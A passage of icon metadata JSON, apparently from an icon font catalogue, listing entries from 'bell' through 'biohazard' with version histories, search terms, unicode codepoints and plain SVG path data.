      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alarm",
        "alert",
        "bel",
        "bell",
        "chime",
        "notification",
        "reminder"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0f3",
    "label": "Bell",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c-17.7 0-32 14.3-32 32V51.2C119 66 64 130.6 64 208v18.8c0 47-17.3 92.4-48.5 127.6l-7.4 8.3c-8.4 9.4-10.4 22.9-5.3 34.4S19.4 416 32 416H416c12.6 0 24-7.4 29.2-18.9s3.1-25-5.3-34.4l-7.4-8.3C401.3 319.2 384 273.9 384 226.8V208c0-77.4-55-142-128-156.8V32c0-17.7-14.3-32-32-32zm45.3 493.3c12-12 18.7-28.3 18.7-45.3H224 160c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0c-17.7 0-32 14.3-32 32V51.2C119 66 64 130.6 64 208v18.8c0 47-17.3 92.4-48.5 127.6l-7.4 8.3c-8.4 9.4-10.4 22.9-5.3 34.4S19.4 416 32 416H416c12.6 0 24-7.4 29.2-18.9s3.1-25-5.3-34.4l-7.4-8.3C401.3 319.2 384 273.9 384 226.8V208c0-77.4-55-142-128-156.8V32c0-17.7-14.3-32-32-32zm45.3 493.3c12-12 18.7-28.3 18.7-45.3H224 160c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c-17.7 0-32 14.3-32 32V49.9C119.5 61.4 64 124.2 64 200v33.4c0 45.4-15.5 89.5-43.8 124.9L5.3 377c-5.8 7.2-6.9 17.1-2.9 25.4S14.8 416 24 416H424c9.2 0 17.6-5.3 21.6-13.6s2.9-18.2-2.9-25.4l-14.9-18.6C399.5 322.9 384 278.8 384 233.4V200c0-75.8-55.5-138.6-128-150.1V32c0-17.7-14.3-32-32-32zm0 96h8c57.4 0 104 46.6 104 104v33.4c0 47.9 13.9 94.6 39.7 134.6H72.3C98.1 328 112 281.3 112 233.4V200c0-57.4 46.6-104 104-104h8zm64 352H224 160c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0c-17.7 0-32 14.3-32 32V49.9C119.5 61.4 64 124.2 64 200v33.4c0 45.4-15.5 89.5-43.8 124.9L5.3 377c-5.8 7.2-6.9 17.1-2.9 25.4S14.8 416 24 416H424c9.2 0 17.6-5.3 21.6-13.6s2.9-18.2-2.9-25.4l-14.9-18.6C399.5 322.9 384 278.8 384 233.4V200c0-75.8-55.5-138.6-128-150.1V32c0-17.7-14.3-32-32-32zm0 96h8c57.4 0 104 46.6 104 104v33.4c0 47.9 13.9 94.6 39.7 134.6H72.3C98.1 328 112 281.3 112 233.4V200c0-57.4 46.6-104 104-104h8zm64 352H224 160c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "bell-concierge": {
    "aliases": {
      "names": ["concierge-bell"],
      "unicodes": {
        "composite": ["1f6ce"],
        "secondary": ["10f562"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "attention",
        "bell",
        "bellhop",
        "bellhop bell",
        "hotel",
        "receptionist",
        "service",
        "support"
      ]
    },
    "styles": ["solid"],
    "unicode": "f562",
    "label": "Bell Concierge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216 64c-13.3 0-24 10.7-24 24s10.7 24 24 24h16v33.3C119.6 157.2 32 252.4 32 368H480c0-115.6-87.6-210.8-200-222.7V112h16c13.3 0 24-10.7 24-24s-10.7-24-24-24H256 216zM24 400c-13.3 0-24 10.7-24 24s10.7 24 24 24H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M216 64c-13.3 0-24 10.7-24 24s10.7 24 24 24h16v33.3C119.6 157.2 32 252.4 32 368H480c0-115.6-87.6-210.8-200-222.7V112h16c13.3 0 24-10.7 24-24s-10.7-24-24-24H256 216zM24 400c-13.3 0-24 10.7-24 24s10.7 24 24 24H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H24z"
      }
    },
    "free": ["solid"]
  },
  "bell-slash": {
    "aliases": {
      "unicodes": {
        "composite": ["1f515", "f1f7"],
        "secondary": ["10f1f6"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alert",
        "bell",
        "bell with slash",
        "cancel",
        "disabled",
        "forbidden",
        "mute",
        "notification",
        "off",
        "quiet",
        "reminder",
        "silent"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1f6",
    "label": "Bell Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-87.5-68.6c.5-1.7 .7-3.5 .7-5.4c0-27.6-11-54.1-30.5-73.7L512 320c-20.5-20.5-32-48.3-32-77.3V208c0-77.4-55-142-128-156.8V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V51.2c-42.6 8.6-79 34.2-102 69.3L38.8 5.1zM160 242.7c0 29-11.5 56.8-32 77.3l-1.5 1.5C107 341 96 367.5 96 395.2c0 11.5 9.3 20.8 20.8 20.8H406.2L160 222.1v20.7zM384 448H320 256c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-87.5-68.6c.5-1.7 .7-3.5 .7-5.4c0-27.6-11-54.1-30.5-73.7L512 320c-20.5-20.5-32-48.3-32-77.3V208c0-77.4-55-142-128-156.8V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V51.2c-42.6 8.6-79 34.2-102 69.3L38.8 5.1zM160 242.7c0 29-11.5 56.8-32 77.3l-1.5 1.5C107 341 96 367.5 96 395.2c0 11.5 9.3 20.8 20.8 20.8H406.2L160 222.1v20.7zM384 448H320 256c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L542.6 400c2.7-7.8 1.3-16.5-3.9-23l-14.9-18.6C495.5 322.9 480 278.8 480 233.4V200c0-75.8-55.5-138.6-128-150.1V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V49.9c-43.9 7-81.5 32.7-104.4 68.7L38.8 5.1zM221.7 148.4C239.6 117.1 273.3 96 312 96h8 8c57.4 0 104 46.6 104 104v33.4c0 32.7 6.4 64.8 18.7 94.5L221.7 148.4zM406.2 416l-60.9-48H168.3c21.2-32.8 34.4-70.3 38.4-109.1L160 222.1v11.4c0 45.4-15.5 89.5-43.8 124.9L101.3 377c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6H406.2zM384 448H320 256c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L542.6 400c2.7-7.8 1.3-16.5-3.9-23l-14.9-18.6C495.5 322.9 480 278.8 480 233.4V200c0-75.8-55.5-138.6-128-150.1V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V49.9c-43.9 7-81.5 32.7-104.4 68.7L38.8 5.1zM221.7 148.4C239.6 117.1 273.3 96 312 96h8 8c57.4 0 104 46.6 104 104v33.4c0 32.7 6.4 64.8 18.7 94.5L221.7 148.4zM406.2 416l-60.9-48H168.3c21.2-32.8 34.4-70.3 38.4-109.1L160 222.1v11.4c0 45.4-15.5 89.5-43.8 124.9L101.3 377c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6H406.2zM384 448H320 256c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "bezier-curve": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f55b"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["curves", "illustrator", "lines", "path", "vector"]
    },
    "styles": ["solid"],
    "unicode": "f55b",
    "label": "Bezier Curve",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M296 136V88h48v48H296zM288 32c-26.5 0-48 21.5-48 48v4H121.6C111.2 62.7 89.3 48 64 48C28.7 48 0 76.7 0 112s28.7 64 64 64c25.3 0 47.2-14.7 57.6-36h66.9c-58.9 39.6-98.9 105-104 180H80c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48h-3.3c5.9-67 48.5-123.4 107.5-149.1c8.6 12.7 23.2 21.1 39.8 21.1h64c16.6 0 31.1-8.4 39.8-21.1c59 25.7 101.6 82.1 107.5 149.1H496c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48h-4.5c-5-75-45.1-140.4-104-180h66.9c10.4 21.3 32.3 36 57.6 36c35.3 0 64-28.7 64-64s-28.7-64-64-64c-25.3 0-47.2 14.7-57.6 36H400V80c0-26.5-21.5-48-48-48H288zM88 376h48v48H88V376zm416 48V376h48v48H504z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M296 136V88h48v48H296zM288 32c-26.5 0-48 21.5-48 48v4H121.6C111.2 62.7 89.3 48 64 48C28.7 48 0 76.7 0 112s28.7 64 64 64c25.3 0 47.2-14.7 57.6-36h66.9c-58.9 39.6-98.9 105-104 180H80c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48h-3.3c5.9-67 48.5-123.4 107.5-149.1c8.6 12.7 23.2 21.1 39.8 21.1h64c16.6 0 31.1-8.4 39.8-21.1c59 25.7 101.6 82.1 107.5 149.1H496c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48h-4.5c-5-75-45.1-140.4-104-180h66.9c10.4 21.3 32.3 36 57.6 36c35.3 0 64-28.7 64-64s-28.7-64-64-64c-25.3 0-47.2 14.7-57.6 36H400V80c0-26.5-21.5-48-48-48H288zM88 376h48v48H88V376zm416 48V376h48v48H504z"
      }
    },
    "free": ["solid"]
  },
  "bicycle": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6b2"],
        "secondary": ["10f206"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bicycle",
        "bike",
        "gears",
        "pedal",
        "transportation",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f206",
    "label": "Bicycle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M312 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h25.7l34.6 64H222.9l-27.4-38C191 99.7 183.7 96 176 96H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h43.7l22.1 30.7-26.6 53.1c-10-2.5-20.5-3.8-31.2-3.8C57.3 224 0 281.3 0 352s57.3 128 128 128c65.3 0 119.1-48.9 127-112h49c8.5 0 16.3-4.5 20.7-11.8l84.8-143.5 21.7 40.1C402.4 276.3 384 312 384 352c0 70.7 57.3 128 128 128s128-57.3 128-128s-57.3-128-128-128c-13.5 0-26.5 2.1-38.7 6L375.4 48.8C369.8 38.4 359 32 347.2 32H312zM458.6 303.7l32.3 59.7c6.3 11.7 20.9 16 32.5 9.7s16-20.9 9.7-32.5l-32.3-59.7c3.6-.6 7.4-.9 11.2-.9c39.8 0 72 32.2 72 72s-32.2 72-72 72s-72-32.2-72-72c0-18.6 7-35.5 18.6-48.3zM133.2 368h65c-7.3 32.1-36 56-70.2 56c-39.8 0-72-32.2-72-72s32.2-72 72-72c1.7 0 3.4 .1 5.1 .2l-24.2 48.5c-9 18.1 4.1 39.4 24.3 39.4zm33.7-48l50.7-101.3 72.9 101.2-.1 .1H166.8zm90.6-128H365.9L317 274.8 257.4 192z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M312 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h25.7l34.6 64H222.9l-27.4-38C191 99.7 183.7 96 176 96H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h43.7l22.1 30.7-26.6 53.1c-10-2.5-20.5-3.8-31.2-3.8C57.3 224 0 281.3 0 352s57.3 128 128 128c65.3 0 119.1-48.9 127-112h49c8.5 0 16.3-4.5 20.7-11.8l84.8-143.5 21.7 40.1C402.4 276.3 384 312 384 352c0 70.7 57.3 128 128 128s128-57.3 128-128s-57.3-128-128-128c-13.5 0-26.5 2.1-38.7 6L375.4 48.8C369.8 38.4 359 32 347.2 32H312zM458.6 303.7l32.3 59.7c6.3 11.7 20.9 16 32.5 9.7s16-20.9 9.7-32.5l-32.3-59.7c3.6-.6 7.4-.9 11.2-.9c39.8 0 72 32.2 72 72s-32.2 72-72 72s-72-32.2-72-72c0-18.6 7-35.5 18.6-48.3zM133.2 368h65c-7.3 32.1-36 56-70.2 56c-39.8 0-72-32.2-72-72s32.2-72 72-72c1.7 0 3.4 .1 5.1 .2l-24.2 48.5c-9 18.1 4.1 39.4 24.3 39.4zm33.7-48l50.7-101.3 72.9 101.2-.1 .1H166.8zm90.6-128H365.9L317 274.8 257.4 192z"
      }
    },
    "free": ["solid"]
  },
  "bilibili": {
    "changes": ["6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e3d9",
    "label": "Bilibili",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488.6 104.1C505.3 122.2 513 143.8 511.9 169.8V372.2C511.5 398.6 502.7 420.3 485.4 437.3C468.2 454.3 446.3 463.2 419.9 464H92.02C65.57 463.2 43.81 454.2 26.74 436.8C9.682 419.4 .7667 396.5 0 368.2V169.8C.7667 143.8 9.682 122.2 26.74 104.1C43.81 87.75 65.57 78.77 92.02 78H121.4L96.05 52.19C90.3 46.46 87.42 39.19 87.42 30.4C87.42 21.6 90.3 14.34 96.05 8.603C101.8 2.868 109.1 0 117.9 0C126.7 0 134 2.868 139.8 8.603L213.1 78H301.1L375.6 8.603C381.7 2.868 389.2 0 398 0C406.8 0 414.1 2.868 419.9 8.603C425.6 14.34 428.5 21.6 428.5 30.4C428.5 39.19 425.6 46.46 419.9 52.19L394.6 78L423.9 78C450.3 78.77 471.9 87.75 488.6 104.1H488.6zM449.8 173.8C449.4 164.2 446.1 156.4 439.1 150.3C433.9 144.2 425.1 140.9 416.4 140.5H96.05C86.46 140.9 78.6 144.2 72.47 150.3C66.33 156.4 63.07 164.2 62.69 173.8V368.2C62.69 377.4 65.95 385.2 72.47 391.7C78.99 398.2 86.85 401.5 96.05 401.5H416.4C425.6 401.5 433.4 398.2 439.7 391.7C446 385.2 449.4 377.4 449.8 368.2L449.8 173.8zM185.5 216.5C191.8 222.8 195.2 230.6 195.6 239.7V273C195.2 282.2 191.9 289.9 185.8 296.2C179.6 302.5 171.8 305.7 162.2 305.7C152.6 305.7 144.7 302.5 138.6 296.2C132.5 289.9 129.2 282.2 128.8 273V239.7C129.2 230.6 132.6 222.8 138.9 216.5C145.2 210.2 152.1 206.9 162.2 206.5C171.4 206.9 179.2 210.2 185.5 216.5H185.5zM377 216.5C383.3 222.8 386.7 230.6 387.1 239.7V273C386.7 282.2 383.4 289.9 377.3 296.2C371.2 302.5 363.3 305.7 353.7 305.7C344.1 305.7 336.3 302.5 330.1 296.2C323.1 289.9 320.7 282.2 320.4 273V239.7C320.7 230.6 324.1 222.8 330.4 216.5C336.7 210.2 344.5 206.9 353.7 206.5C362.9 206.9 370.7 210.2 377 216.5H377z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M488.6 104.1C505.3 122.2 513 143.8 511.9 169.8V372.2C511.5 398.6 502.7 420.3 485.4 437.3C468.2 454.3 446.3 463.2 419.9 464H92.02C65.57 463.2 43.81 454.2 26.74 436.8C9.682 419.4 .7667 396.5 0 368.2V169.8C.7667 143.8 9.682 122.2 26.74 104.1C43.81 87.75 65.57 78.77 92.02 78H121.4L96.05 52.19C90.3 46.46 87.42 39.19 87.42 30.4C87.42 21.6 90.3 14.34 96.05 8.603C101.8 2.868 109.1 0 117.9 0C126.7 0 134 2.868 139.8 8.603L213.1 78H301.1L375.6 8.603C381.7 2.868 389.2 0 398 0C406.8 0 414.1 2.868 419.9 8.603C425.6 14.34 428.5 21.6 428.5 30.4C428.5 39.19 425.6 46.46 419.9 52.19L394.6 78L423.9 78C450.3 78.77 471.9 87.75 488.6 104.1H488.6zM449.8 173.8C449.4 164.2 446.1 156.4 439.1 150.3C433.9 144.2 425.1 140.9 416.4 140.5H96.05C86.46 140.9 78.6 144.2 72.47 150.3C66.33 156.4 63.07 164.2 62.69 173.8V368.2C62.69 377.4 65.95 385.2 72.47 391.7C78.99 398.2 86.85 401.5 96.05 401.5H416.4C425.6 401.5 433.4 398.2 439.7 391.7C446 385.2 449.4 377.4 449.8 368.2L449.8 173.8zM185.5 216.5C191.8 222.8 195.2 230.6 195.6 239.7V273C195.2 282.2 191.9 289.9 185.8 296.2C179.6 302.5 171.8 305.7 162.2 305.7C152.6 305.7 144.7 302.5 138.6 296.2C132.5 289.9 129.2 282.2 128.8 273V239.7C129.2 230.6 132.6 222.8 138.9 216.5C145.2 210.2 152.1 206.9 162.2 206.5C171.4 206.9 179.2 210.2 185.5 216.5H185.5zM377 216.5C383.3 222.8 386.7 230.6 387.1 239.7V273C386.7 282.2 383.4 289.9 377.3 296.2C371.2 302.5 363.3 305.7 353.7 305.7C344.1 305.7 336.3 302.5 330.1 296.2C323.1 289.9 320.7 282.2 320.4 273V239.7C320.7 230.6 324.1 222.8 330.4 216.5C336.7 210.2 344.5 206.9 353.7 206.5C362.9 206.9 370.7 210.2 377 216.5H377z"
      }
    },
    "free": ["brands"]
  },
  "bimobject": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f378",
    "label": "BIMobject",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z"
      }
    },
    "free": ["brands"]
  },
  "binoculars": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1e5"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["glasses", "magnify", "scenic", "spyglass", "view"]
    },
    "styles": ["solid"],
    "unicode": "f1e5",
    "label": "Binoculars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 32h32c17.7 0 32 14.3 32 32V96H96V64c0-17.7 14.3-32 32-32zm64 96V448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V388.9c0-34.6 9.4-68.6 27.2-98.3C40.9 267.8 49.7 242.4 53 216L60.5 156c2-16 15.6-28 31.8-28H192zm227.8 0c16.1 0 29.8 12 31.8 28L459 216c3.3 26.4 12.1 51.8 25.8 74.6c17.8 29.7 27.2 63.7 27.2 98.3V448c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V128h99.8zM320 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V96H320V64zm-32 64V288H224V128h64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 32h32c17.7 0 32 14.3 32 32V96H96V64c0-17.7 14.3-32 32-32zm64 96V448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V388.9c0-34.6 9.4-68.6 27.2-98.3C40.9 267.8 49.7 242.4 53 216L60.5 156c2-16 15.6-28 31.8-28H192zm227.8 0c16.1 0 29.8 12 31.8 28L459 216c3.3 26.4 12.1 51.8 25.8 74.6c17.8 29.7 27.2 63.7 27.2 98.3V448c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V128h99.8zM320 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V96H320V64zm-32 64V288H224V128h64z"
      }
    },
    "free": ["solid"]
  },
  "biohazard": {
    "aliases": {
      "unicodes": {
        "composite": ["2623"],
        "secondary": ["10f780"]
      }
    },
    "changes": ["5.6.0", "5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "biohazard",
        "covid-19",
        "danger",
        "dangerous",
        "epidemic",
        "hazmat",
        "medical",
        "pandemic",
        "radioactive",
        "sign",
        "toxic",
        "waste",
        "zombie"
      ]
    },
    "styles": ["solid"],
    "unicode": "f780",
    "label": "Biohazard",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M173.2 0c-1.8 0-3.5 .7-4.8 2C138.5 32.3 120 74 120 120c0 26.2 6 50.9 16.6 73c-22 2.4-43.8 9.1-64.2 20.5C37.9 232.8 13.3 262.4 .4 296c-.7 1.7-.5 3.7 .5 5.2c2.2 3.7 7.4 4.3 10.6 1.3C64.2 254.3 158 245.1 205 324s-8.1 153.1-77.6 173.2c-4.2 1.2-6.3 5.9-4.1 9.6c1 1.6 2.6 2.7 4.5 3c36.5 5.9 75.2 .1 109.7-19.2c20.4-11.4 37.4-26.5 50.5-43.8c13.1 17.3 30.1 32.4 50.5 43.8c34.5 19.3 73.3 25.2 109.7 19.2c1.9-.3 3.5-1.4 4.5-3c2.2-3.7 .1-8.4-4.1-9.6C379.1 477.1 324 403 371 324s140.7-69.8 193.5-21.4c3.2 2.9 8.4 2.3 10.6-1.3c1-1.6 1.1-3.5 .5-5.2c-12.9-33.6-37.5-63.2-72.1-82.5c-20.4-11.4-42.2-18.1-64.2-20.5C450 170.9 456 146.2 456 120c0-46-18.5-87.7-48.4-118c-1.3-1.3-3-2-4.8-2c-5 0-8.4 5.2-6.7 9.9C421.7 80.5 385.6 176 288 176S154.3 80.5 179.9 9.9c1.7-4.7-1.6-9.9-6.7-9.9zM240 272a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM181.7 417.6c6.3-11.8 9.8-25.1 8.6-39.8c-19.5-18-34-41.4-41.2-67.8c-12.5-8.1-26.2-11.8-40-12.4c-9-.4-18.1 .6-27.1 2.7c7.8 57.1 38.7 106.8 82.9 139.4c6.8-6.7 12.6-14.1 16.8-22.1zM288 64c-28.8 0-56.3 5.9-81.2 16.5c2 8.3 5 16.2 9 23.5c6.8 12.4 16.7 23.1 30.1 30.3c13.3-4.1 27.5-6.3 42.2-6.3s28.8 2.2 42.2 6.3c13.4-7.2 23.3-17.9 30.1-30.3c4-7.3 7-15.2 9-23.5C344.3 69.9 316.8 64 288 64zM426.9 310c-7.2 26.4-21.7 49.7-41.2 67.8c-1.2 14.7 2.2 28.1 8.6 39.8c4.3 8 10 15.4 16.8 22.1c44.3-32.6 75.2-82.3 82.9-139.4c-9-2.2-18.1-3.1-27.1-2.7c-13.8 .6-27.5 4.4-40 12.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M173.2 0c-1.8 0-3.5 .7-4.8 2C138.5 32.3 120 74 120 120c0 26.2 6 50.9 16.6 73c-22 2.4-43.8 9.1-64.2 20.5C37.9 232.8 13.3 262.4 .4 296c-.7 1.7-.5 3.7 .5 5.2c2.2 3.7 7.4 4.3 10.6 1.3C64.2 254.3 158 245.1 205 324s-8.1 153.1-77.6 173.2c-4.2 1.2-6.3 5.9-4.1 9.6c1 1.6 2.6 2.7 4.5 3c36.5 5.9 75.2 .1 109.7-19.2c20.4-11.4 37.4-26.5 50.5-43.8c13.1 17.3 30.1 32.4 50.5 43.8c34.5 19.3 73.3 25.2 109.7 19.2c1.9-.3 3.5-1.4 4.5-3c2.2-3.7 .1-8.4-4.1-9.6C379.1 477.1 324 403 371 324s140.7-69.8 193.5-21.4c3.2 2.9 8.4 2.3 10.6-1.3c1-1.6 1.1-3.5 .5-5.2c-12.9-33.6-37.5-63.2-72.1-82.5c-20.4-11.4-42.2-18.1-64.2-20.5C450 170.9 456 146.2 456 120c0-46-18.5-87.7-48.4-118c-1.3-1.3-3-2-4.8-2c-5 0-8.4 5.2-6.7 9.9C421.7 80.5 385.6 176 288 176S154.3 80.5 179.9 9.9c1.7-4.7-1.6-9.9-6.7-9.9zM240 272a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM181.7 417.6c6.3-11.8 9.8-25.1 8.6-39.8c-19.5-18-34-41.4-41.2-67.8c-12.5-8.1-26.2-11.8-40-12.4c-9-.4-18.1 .6-27.1 2.7c7.8 57.1 38.7 106.8 82.9 139.4c6.8-6.7 12.6-14.1 16.8-22.1zM288 64c-28.8 0-56.3 5.9-81.2 16.5c2 8.3 5 16.2 9 23.5c6.8 12.4 16.7 23.1 30.1 30.3c13.3-4.1 27.5-6.3 42.2-6.3s28.8 2.2 42.2 6.3c13.4-7.2 23.3-17.9 30.1-30.3c4-7.3 7-15.2 9-23.5C344.3 69.9 316.8 64 288 64zM426.9 310c-7.2 26.4-21.7 49.7-41.2 67.8c-1.2 14.7 2.2 